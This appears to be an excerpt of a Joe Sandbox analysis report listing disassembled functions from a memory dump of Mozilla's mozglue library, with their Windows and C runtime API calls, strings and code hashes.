API String ID: 145871493-3641475894
Opcode ID: c0bf29389882d0352ccbd2422ab68ff17be15624bb8942e88c8a1af2bb6ebecf
Instruction ID: f609709739da2dbd5734e7cf99440712a6e8286237b54de9029e8bd254f41f21
Opcode Fuzzy Hash: c0bf29389882d0352ccbd2422ab68ff17be15624bb8942e88c8a1af2bb6ebecf
Instruction Fuzzy Hash: CEE0B671700302EFEF086FA2D9587027EF8EB06298FA45025A905F1680EBF094B1CF14

Function 6CC37600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC37592), ref: 6CC37608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CC37627
FreeLibrary.KERNEL32(?,6CC37592), ref: 6CC3763C

Strings

ntdll.dll, xrefs: 6CC37603
NtUnmapViewOfSection, xrefs: 6CC37621

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 5bf7a26cae72cf2db5f05255f76ccc19ef5671200dd68fa752cad9c4f4a70631
Instruction ID: a3a4d893ec382059592d746d05ac47b0401b68dc3842c7d10b02c584f41745a7
Opcode Fuzzy Hash: 5bf7a26cae72cf2db5f05255f76ccc19ef5671200dd68fa752cad9c4f4a70631
Instruction Fuzzy Hash: EDE092B0700301AFDF046FA6A9187017EB8E71A299F945515E909F2740EBF094308B18

Function 6CC3BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CC3BE49), ref: 6CC3BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CC3BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CC3BE49), ref: 6CC3BF38
RtlReAllocateHeap.NTDLL ref: 6CC3BF83
RtlFreeHeap.NTDLL ref: 6CC3BFA6

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 763592777faffd4c54682c07f922f79b6300fa9d5e357dace68bbc395d62b866
Instruction ID: fb35ed8627a8b87129dd08412157ec5b7c3412457ac6f972adb0ffe42976a31a
Opcode Fuzzy Hash: 763592777faffd4c54682c07f922f79b6300fa9d5e357dace68bbc395d62b866
Instruction Fuzzy Hash: D951C675B006158FE710CF69DC90BAAB3A2FF88314F299639D51997B54E730F9068F80

Function 6CC28E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CC1B58D,?,?,?,?,?,?,?,6CC4D734,?,?,?,6CC4D734), ref: 6CC28E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC1B58D,?,?,?,?,?,?,?,6CC4D734,?,?,?,6CC4D734), ref: 6CC28EBF
free.MOZGLUE(?,?,?,?,6CC1B58D,?,?,?,?,?,?,?,6CC4D734,?,?,?), ref: 6CC28F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC1B58D,?,?,?,?,?,?,?,6CC4D734,?,?,?,6CC4D734), ref: 6CC28F46
free.MOZGLUE(?,?,?,?,6CC1B58D,?,?,?,?,?,?,?,6CC4D734,?,?,?), ref: 6CC28F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC1B58D,?,?,?,?,?,?,?,6CC4D734,?,?,?), ref: 6CC28F8F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 52714967cd103563f5d84ecfd36b350d003a6e3e47bdb19b650657ecad32828b
Instruction ID: edbb68c88dad4b37aad5a919de76f81cc04daaee53044629755997568a35b7db
Opcode Fuzzy Hash: 52714967cd103563f5d84ecfd36b350d003a6e3e47bdb19b650657ecad32828b
Instruction Fuzzy Hash: 6A51D7B6A012168FEB24CF58D880B6E77B2FF48318F59052AD516AB740F735F905CB91

Function 6CBE60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CBE5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CBE5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE6180
free.MOZGLUE(?,?,?,?,6CBE5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBE6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CBE5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE6229
free.MOZGLUE(?,?,?,?,6CBE5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBE625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CBE5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBE6271

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 015085b5414af86205d4c5e029f0f4aa629209ceb16d0467fe8bf13f9e419174
Instruction ID: a254a28611b5d46a770412d4bd8989c372dade756ca559cb5fc80bc4f270f6d1
Opcode Fuzzy Hash: 015085b5414af86205d4c5e029f0f4aa629209ceb16d0467fe8bf13f9e419174
Instruction Fuzzy Hash: 3B51AEB1A0024A8FEB14CFA8D8807AEB7B5EF49788F14043DC616D7711E731EA59CB52

Function 6CC227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CC22620,?,?,?,6CC160AA,6CC15FCB,6CC179A3), ref: 6CC2284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC22620,?,?,?,6CC160AA,6CC15FCB,6CC179A3), ref: 6CC2289A
free.MOZGLUE(?,?,?,6CC22620,?,?,?,6CC160AA,6CC15FCB,6CC179A3), ref: 6CC228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC22620,?,?,?,6CC160AA,6CC15FCB,6CC179A3), ref: 6CC22910
free.MOZGLUE(00000001,?,?,6CC22620,?,?,?,6CC160AA,6CC15FCB,6CC179A3), ref: 6CC2293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CC22620,?,?,?,6CC160AA,6CC15FCB,6CC179A3), ref: 6CC2294E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 91b748d657e4a477937ef82cd85be4bed0cbb40468a836003ff4d0618f682600
Instruction ID: 40bed5fe2c05c13780b4518545084eb9ffef456db19741245ac081bb926de28a
Opcode Fuzzy Hash: 91b748d657e4a477937ef82cd85be4bed0cbb40468a836003ff4d0618f682600
Instruction Fuzzy Hash: 4E41FEB1A102068FEB10DF68D89876A73F6FB49328F240939D556EB740F735E904CBA1

Function 6CBDCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E784), ref: 6CBDCFF6
LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBDD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CBDD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CBDD139

Strings

MOZ_CRASH(), xrefs: 6CBDD187

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 17e39f7f380ca9e30c1a166ce4d831d52ee183de709b704950ca511fc14560df
Instruction ID: fd9f22b2525b640346137df3ff307f28de0e74efbb9bc51b60b3a7d7a95a7939
Opcode Fuzzy Hash: 17e39f7f380ca9e30c1a166ce4d831d52ee183de709b704950ca511fc14560df
Instruction Fuzzy Hash: A641F231B402224FCB04CE7C9CA036A3AB4EB49390F55023DE958F7784E7B5AC108BE5

Function 6CBD4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBD4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBD4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBD4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CBD4F1E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 1b9d61c443dce5e0ade58ce11a47dfe26e438843461e3b0d61c321fe991b2325
Instruction ID: f4047ba62946a6f868ede4d31ca5239583f3eb3f5b883498e8404859d4198229
Opcode Fuzzy Hash: 1b9d61c443dce5e0ade58ce11a47dfe26e438843461e3b0d61c321fe991b2325
Instruction Fuzzy Hash: 6041B071604782AFC705CF29C48095BBBE4FF89354F118A2DF46997651DB30F958CB92

Function 6CBE1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CBE152B,?,?,?,?,6CBE1248,?), ref: 6CBE159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBE152B,?,?,?,?,6CBE1248,?), ref: 6CBE15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CBE152B,?,?,?,?,6CBE1248,?), ref: 6CBE15E7
free.MOZGLUE(?,?,?,?,?,?,6CBE152B,?,?,?,?,6CBE1248,?), ref: 6CBE1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CBE152B,?,?,?,?,6CBE1248,?), ref: 6CBE1637

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: c7b31b31daa1b88fc33cb0693b81793f8e2bd2910a19776daa6af33f05be5ce7
Instruction ID: b52b7e76ea067125d24b2645c4c12ab7f17e78d72879674e4a7dd1b1daa0e683
Opcode Fuzzy Hash: c7b31b31daa1b88fc33cb0693b81793f8e2bd2910a19776daa6af33f05be5ce7
Instruction Fuzzy Hash: 4231C7B1A001548FC7148F68D85046E77E9FF897A47390B2DE427DBBD5EB30D9058791

Function 6CC3AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CC4E330,?,6CBFC059), ref: 6CC3AD9D

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CC4E330,?,6CBFC059), ref: 6CC3ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CC4E330,?,6CBFC059), ref: 6CC3AE01
GetLastError.KERNEL32(?,00000000,?,?,6CC4E330,?,6CBFC059), ref: 6CC3AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CC4E330,?,6CBFC059), ref: 6CC3AE3D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4292b3495dda309bae4f6e43fa12d3d25f14d9e8efe429e1f6d43545e2bd5c0e
Instruction ID: 839a3dc5ec315abf23c1c30e6649da3f5952489f456d4002fef04300dcde811d
Opcode Fuzzy Hash: 4292b3495dda309bae4f6e43fa12d3d25f14d9e8efe429e1f6d43545e2bd5c0e
Instruction Fuzzy Hash: 1F3164B1A002159FDB10DF769C44AABBBF8EF88614F55842DE85AE7750F734D814CBA0

Function 6CC35EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CC4DCA0,?,?,?,6CC0E8B5,00000000), ref: 6CC35F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CC0E8B5,00000000), ref: 6CC35F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CC0E8B5,00000000), ref: 6CC35F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CC0E8B5,00000000), ref: 6CC35F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CC0E8B5,00000000), ref: 6CC35FD6

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 39044c610a2ddf2d4117dc4a7db20f2f7375e08044b54f62f4df33229e6e0620
Instruction ID: 49fbcde3d298a08997beeb131cff7c03bd7b853bc408ff26201308470ee34e88
Opcode Fuzzy Hash: 39044c610a2ddf2d4117dc4a7db20f2f7375e08044b54f62f4df33229e6e0620
Instruction Fuzzy Hash: FC310B343006108FD714CF29D898E2ABBF9FF89719BA49598F55A8BB95D731EC41CB80

Function 6CBDB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CBDB532
moz_xmalloc.MOZGLUE(?), ref: 6CBDB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBDB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CBDB57E
free.MOZGLUE(00000000), ref: 6CBDB58F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 82e0a8714e7624b95ccfa839124b4571fc18e1e59808a001034f794cfc5c1304
Instruction ID: cd59bb2f4077281eceb5892a77d13e1597a8024a8516c04efb13bb715f0bdf92
Opcode Fuzzy Hash: 82e0a8714e7624b95ccfa839124b4571fc18e1e59808a001034f794cfc5c1304
Instruction Fuzzy Hash: 55210771A002469BDB008F69CC50BBEBBB9FF86308F294029E818DB341E775ED15C7A1

Function 6CBDB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CBDB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CBDB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CBDB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBDB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBDB849

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: c2945722a3bb219868556645f94e2ffeeb763b7c4d75913249d6b91ddeac21b1
Instruction ID: 21fe693968fb8537bbb7d9ad33d452aa6555030d88d5c3dc08de83d24b5b446e
Opcode Fuzzy Hash: c2945722a3bb219868556645f94e2ffeeb763b7c4d75913249d6b91ddeac21b1
Instruction Fuzzy Hash: 322130B0E002499FDF04DFA9C8855FEBBB4EF49314F148129EC05A7341E731A995CBA1

Function 6CC36E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC36E78

Part of subcall function 6CC36A10: InitializeCriticalSection.KERNEL32(6CC5F618), ref: 6CC36A68
Part of subcall function 6CC36A10: GetCurrentProcess.KERNEL32 ref: 6CC36A7D
Part of subcall function 6CC36A10: GetCurrentProcess.KERNEL32 ref: 6CC36AA1
Part of subcall function 6CC36A10: EnterCriticalSection.KERNEL32(6CC5F618), ref: 6CC36AAE
Part of subcall function 6CC36A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC36AE1
Part of subcall function 6CC36A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC36B15
Part of subcall function 6CC36A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CC36B65
Part of subcall function 6CC36A10: LeaveCriticalSection.KERNEL32(6CC5F618,?,?), ref: 6CC36B83

MozFormatCodeAddress.MOZGLUE ref: 6CC36EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC36EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC36EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CC36EFF

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: b2bdb139def1deeac1c84039f214c6424ddd5f73e8dd93a7fa101fc604852401
Instruction ID: ce8c6e284abcfee10d191d16094fc46eb3ca740a9ea750b1b407f250fbaac30c
Opcode Fuzzy Hash: b2bdb139def1deeac1c84039f214c6424ddd5f73e8dd93a7fa101fc604852401
Instruction Fuzzy Hash: CE21A171A0421A9FDB00CF69E88569A7BF5FF88308F044139E80D97241EB759A598F92

Function 6CC376C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CC376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CC37705

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC37717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CC3778F,00000000,00000000,00000000,00000000), ref: 6CC37731
free.MOZGLUE(00000000), ref: 6CC37760

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 7bddf1abcd9d1267adbd4a1a5557f5a68dd8e4bcf330e34414f319587833c21e
Instruction ID: 4b3f4779fb134b9d5faaa8968cf297697a7a1a8bde8d57f8621cfbb7a7e15966
Opcode Fuzzy Hash: 7bddf1abcd9d1267adbd4a1a5557f5a68dd8e4bcf330e34414f319587833c21e
Instruction Fuzzy Hash: 2911B2B1900325ABE710AF769D44BABBEF8EF46354F045529F848A7300F771885487E2

Function 6CC10D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CBD3DEF), ref: 6CC10D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CBD3DEF), ref: 6CC10D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CBD3DEF), ref: 6CC10DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CC10D97, 6CC10DBE
<jemalloc>, xrefs: 6CC10D92, 6CC10DB9

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9a7bb6c48a2280e9e2e6e2e5814941894984cd59994a10eb2a0194ee6d2d7de6
Instruction ID: eed90d60e30ae380d986f220f81cd595e2caea1f223c45ddfeadc8a18089fca9
